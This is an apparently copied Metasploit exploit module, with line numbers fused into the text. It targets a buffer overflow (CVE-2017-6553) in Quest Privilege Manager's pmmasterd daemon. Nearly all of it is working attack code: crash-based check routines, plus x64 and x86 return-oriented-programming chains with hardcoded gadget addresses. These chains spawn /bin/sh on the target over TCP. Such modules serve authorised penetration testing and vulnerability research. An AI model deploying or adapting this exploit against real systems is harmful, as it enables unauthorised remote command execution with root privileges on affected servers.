Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/quest_pmmasterd_bof.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',13'Description' => %q{14This modules exploits a buffer overflow in the Quest Privilege Manager,15a software used to integrate Active Directory with Linux and Unix16systems. The vulnerability exists in the pmmasterd daemon, and can only17triggered when the host has been configured as a policy server (18Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow19condition exists when handling requests of type ACT_ALERT_EVENT, where20the size of a memcpy can be controlled by the attacker. This module21only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also22vulnerable, but not supported by this module (a stack cookie bypass is23required). NOTE: To use this module it is required to be able to bind a24privileged port ( <=1024 ) as the server refuses connections coming25from unprivileged ports, which in most situations means that root26privileges are required.27},28'Author' =>29[30'm0t'31],32'References' =>33[34['CVE', '2017-6553'],35['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']36],37'Payload' =>38{39'Compat' =>40{41'PayloadType' => 'cmd_interact',42'ConnectionType' => 'find'43}44},45'Arch' => ARCH_CMD,46'Platform' => 'unix',47'Targets' =>48[49['Quest Privilege Manager pmmasterd 6.0.0-27 x64',50{51exploit: :exploit_x64,52check: :check_x6453}54],55['Quest Privilege Manager pmmasterd 6.0.0-27 x86',56{57exploit: :exploit_x86,58check: :check_x8659}60]61],62'Privileged' => true,63'DisclosureDate' => '2017-04-09',64'DefaultTarget' => 065)66)6768register_options(69[70Opt::RPORT(12345),71Opt::CPORT(rand(1024))72]73)74end7576# definitely not stealthy! sends a crashing request, if the socket dies, or77# the output is partial it assumes the target has crashed. Although the78# daemon spawns a new process for each connection, the segfault will appear79# on syslog80def check81unless respond_to?(target[:check], true)82fail_with(Failure::NoTarget, "Invalid target specified")83end8485send(target[:check])86end8788def exploit89unless respond_to?(target[:exploit], true)90fail_with(Failure::NoTarget, "Invalid target specified")91end9293request = send(target[:exploit])9495connect96print_status("Sending trigger")97sock.put(request)98sock.get_once99handler(sock)100disconnect101end102103# server should crash after parsing the packet, partial output is returned104def check_x64105head = [ 0x26c ].pack("N")106head << [ 0x700 ].pack("N")107head << [ 0x700 ].pack("N")108head << "\x00" * 68109110body = "PingE4.6 .0.0.27"111body << rand_text_alpha(3000)112113request = head + body114115connect116print_status("Sending trigger")117sock.put(request)118res = sock.timed_read(1024, 1)119if res.match? "Pong4$"120return Exploit::CheckCode::Appears121else122return Exploit::CheckCode::Unknown123end124end125126# server should crash while parsing the packet, with no output127def check_x86128head = [ 0x26c ].pack("N")129head << [ 0x700 ].pack("N")130head << [ 0x700 ].pack("N")131head << "\x00" * 68132133body = rand_text_alpha(3000)134135request = head + body136137connect138print_status("Sending trigger")139sock.put(request)140begin141sock.timed_read(1024, 1)142return Exploit::CheckCode::Unknown143rescue ::Exception144return Exploit::CheckCode::Appears145end146end147148def exploit_x64149head = [ 0x26c ].pack("N")150head << [ 0x700 ].pack("N")151head << [ 0x700 ].pack("N")152head << "\x00" * 68153154# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)155ropchain = [1560x408f88, # pop rdi, ret1570x4FA215, # /bin/sh1580x40a99e, # pop rsi ; ret1590, # argv @rsi1600x40c1a0, # pop rax, ret1610, # envp @rax1620x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret1630xcacc013, # padding1640x408a98, # execve,1650166].pack("Q*")167168body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES169body << rand_text_alpha(1600)170body << ropchain171body << rand_text_alpha(0x700 - body.size)172173head + body174end175176def exploit_x86177head = [ 0x26c ].pack("N")178head << [ 0x108 ].pack("N")179head << [ 0xcc ].pack("N")180head << "\x00" * 68181182# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)183ropchain = [1840x8093262, # ret1850x73, # cs reg1860x804AE2C, # execve,1870xcacc013, # padding1880x8136CF0, # /bin/sh1890,1900191].pack("V*")192193pivotback = 0x08141223 # sub esp, ebx ; retf194writable = 0x81766f8 # writable loc195196body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES197body << rand_text_alpha(104)198body << ropchain199body << rand_text_alpha(0xb4 - body.size)200body << [0x50].pack("V")201body << rand_text_alpha(0xc4 - body.size)202body << [pivotback].pack("V")203body << [writable].pack("V")204body << rand_text_alpha(0x108 - body.size)205206head + body207end208end209210211